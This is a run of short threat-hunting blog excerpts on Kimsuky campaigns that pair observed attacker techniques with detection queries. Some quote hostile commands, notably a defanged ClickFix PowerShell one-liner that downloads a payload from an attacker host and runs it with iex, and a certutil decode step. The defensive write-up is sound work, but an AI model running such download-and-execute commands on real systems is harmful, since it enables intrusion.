Know Your Adversary

Hello everyone! Today we'll look at the Execution (TA0002) and Stealth (TA0005) tactics, along with different implementations of the PowerShell (T1059.001) , JavaScript (T1059.007) , and Mshta (T1218.005) techniques. Our examples come from this report  on the activity of Kimsuky (also tracked as Monolithic Werewolf). Let's start with the malicious shortcut files distributed by the attackers. Since the malicious code was embedded directly within the LNK file itself, mshta.exe was launched with the shortcut as its argument, giving us a useful detection opportunity: event_type: "processcreatewin" AND proc_file_path: "mshta.exe" AND cmdline: *.lnk The malicious code acted as a dropper that created the following files on the compromised system: %APPDATA%\Microsoft\Windows\Templates\Templates.js %APPDATA%\Microsoft\Windows\Templates\Templates.ps1 The first file was responsible for launching the second. In this case, we can proactively hunt for this activity by...

Hello everyone! The Genians Security Center (GSC) reported on a recent Kimsuky (we track this activity cluster as Monolithic Werewolf ) campaign, which took place in between March and April 2025. Interesting enough that the adversary leveraged multiple communication channels to distribute malicious files, including email, Facebook and Telegram. The installation process is quite noisy as always, so we have lots of detection opportunities. For example, the threat actors abused PowerShell and Certutil for decoding: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\ffBqrQ6.rppn C:\Windows\..\ProgramData\sRPCU5y.evJl A good candidate for detection, right? event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: ("certutil" AND "decode") One more thing - abusing reg.exe to achieve persistence: reg add HKCU\Software\Microsoft\Windows\CurrentVersio...

Hello everyone! We've talked about ClickFix a few times already. But it's quite interesting how various adopt this technique. According to Proofpoint report , multiple state-sponsored adversaries started to use this technique. For example, TA427 (we track this activity cluster under the name Monolithic Werewolf). The threat actor masquaraded malicious PowerShell command to look like a registration code: powershell -windowstyle hidden -Command iwr       "hxxps://securedrive.fin-tech[.]com/docs/en/t.vmd" -OutFile       "$env:TEMP\p"; $c=Get-Content -Path "$env:TEMP\p" -Raw; iex       $c;                                                                                    3Z5TY-76FR3-9G87H-7ZC56 As you can see, the command includes...

Hello everyone! I think you already noticed that Kimsuky (we track it as Monotithic Werewolf) is a frequent guest in my blog. The thing is - the cluster is quite creative and provides lots of detection ideas! Today we'll loot at how the adversary abused Control Panel Items in the campaign described in this report . So, the threat actors used a malicious file with double extension -  [한글] 계엄사-합수본부 운영 참고자료[원본].hwp.cpl . It is a Control Panel item, and is executed with control.exe . It means we can search for abusing of control.exe (you can experiment with double extensions, of course): event_type: "processcreate" AND proc_file_name: "control.exe" AND cmdline: ("hwp" AND "cpl") OR ("docx" AND "cpl") OR ("pdf" AND "cpl") After execution, the file connects to github[.]com to download additional files - and we have another detection opportunity: event_type: "dnsreq" AND  ...

Hello everyone! Today we'll look at PebbleDash malware behaviors and how to detect it. This backdoor is actively used by Kimsuky (we track this activity cluster as Monolithic Werewolf). Let's look inside this  report. The adversary distributed phishing emails with EGG files attached. Not a common choice, right? That's not all. The EGG file contains a PIF file - a binary configuration file for the DOS emulator/simulator in Windows! Such files are not very common, so we can start from hunting for any executions of PIF files: event_type: "processcreate" AND  proc_file_name.keyword:/.*\.pif/ The file drops and opens a PDF file, as well as drops and executes another PIF file - PebbleDash backdoor, which abuses reg.exe for persistence in the compromised system.  Here we have a few detection opportunities. The first one - a PIF file opens a PDF file: event_type:"processcreate" AND proc_p_file_path.keyword:/.*\.pif/  AND  cmdline.keyword:/.*\.pdf/ The next one...

Hello everyone! Securonix presented a fresh report on recent Kimsuky activity (as you remember, we track this cluster as Monolithic Werewolf). The adversary keeps distributing malicious LNK files and abusing PowerShell, and this time leverages Dropbox. Despite the fact the attack chain is very sophisticated and has multiple stages, there's a quick win from detection perspective.  So, the thing I want to note is abusing PowerShell to download the next stage from Dropbox. This activity includes quering the following domain name: "dl.dropboxusercontent.com". Of course, we can use this knowledge for detection: event_type: "dnsreq" AND proc_cmdline:/.*powershell.*/ AND  dns_rname: "dl.dropboxusercontent.com" And yes, this simple detection logic allows us to catch an advanced threat actor! That's it! See you tomorrow!

Hello everyone! I'm sure you at least heard about Kimsuky group (we track this activity cluster under the name Monolithic Werewolf). According to  AhnLab , in a recent campaign the adversary started to use custom-made RDP Wrapper. So, RDP Wrapper is used by the threat actors to enable concurrent RDP connections to the compromised system. Of course, this utility has lots of detection opportunities. For example, it has a few intersting strings in its metadata: " RDPWInst.exe ", " RDPWInst ", " RDP Wrapper Library Installer ", etc. Next, it creates " RDP Wrapper " folder and drops two files there: " rdpwrap.ini " and " rdpwrap.dll ". Also, it modifies  HKLM\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll value to " %ProgramFiles%\RDP Wrapper\rdpwrap.dll ". It's not the first time an adversary uses this tool, so make sure you can detect such activity! See you tomorrow!